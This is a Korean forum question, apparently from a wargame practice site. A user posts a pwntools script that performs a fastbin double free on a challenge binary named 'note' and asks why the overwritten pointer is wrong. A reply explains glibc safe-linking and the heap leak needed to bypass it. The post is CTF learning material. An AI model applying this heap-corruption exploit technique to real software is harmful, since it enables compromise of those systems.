완료됨
문제 풀이 질문 있습니다.
from pwn import *
p = process('./note', env = {'LD_PRELOAD' : './libc.so.6'})
e = ELF('./note')
libc = ELF('./libc.so.6')
def create(idx, size, payload):
p.sendlineafter('> ', str(1))
p.sendlineafter(': ', str(idx))
p.sendlineafter(': ', str(size))
p.sendlineafter(': ', payload)
def read(idx):
p.sendlineafter('> ', str(2))
p.sendlineafter(': ', str(idx))
p.recvuntil(': ')
return int.from_bytes(p.recvline()[:-1], byteorder='little')
def delete(idx):
p.sendlineafter('> ', str(4))
p.sendlineafter(': ', str(idx))
for a in range(8):
create(a, 20, b'a')
for b in range(8):
delete(b)
for c in range(3):
create(c, 20, b'a')
stdout = e.symbols['stdout']
delete(0)
delete(1)
delete(0)
create(c, 20, p64(stdout))
pause()
p.interactive()
fastbin duplication이라서 tcachebin을 다 채운 뒤에 새로 세 개를 할당해서 double free까지 하는 데는 성공했는데, 그 뒤에 stdout 주소를 넣어보려 했는데 값이 자꾸 이상하게 들어갑니다.
원래라면 0x404080이 연결되어야 하는데, 왜 이렇게 나오는 걸까요?
#pwnable
작성자 정보
답변
1
Sandersonia
대표 업적 없음
Sandersonia
대표 업적 없음
glibc_2.32 이후에는 tcache의 fd와 fastbin의 fd를 보호하기 위해서 safe-linking이라는 보호기법이 추가되었습니다.
그렇기 때문에 safe-linking을 우회하여 공격하기 위해서는 heap주소의 릭이 필요합니다.
safe-linking에 관한 자료는 많이 있어서 한번 찾아보시면 도움이 되실 것 같습니다!
https://velog.io/@kunshim/libc-2.32-의-Safe-linkng-을-알아보자
https://minseosavestheworld.tistory.com/179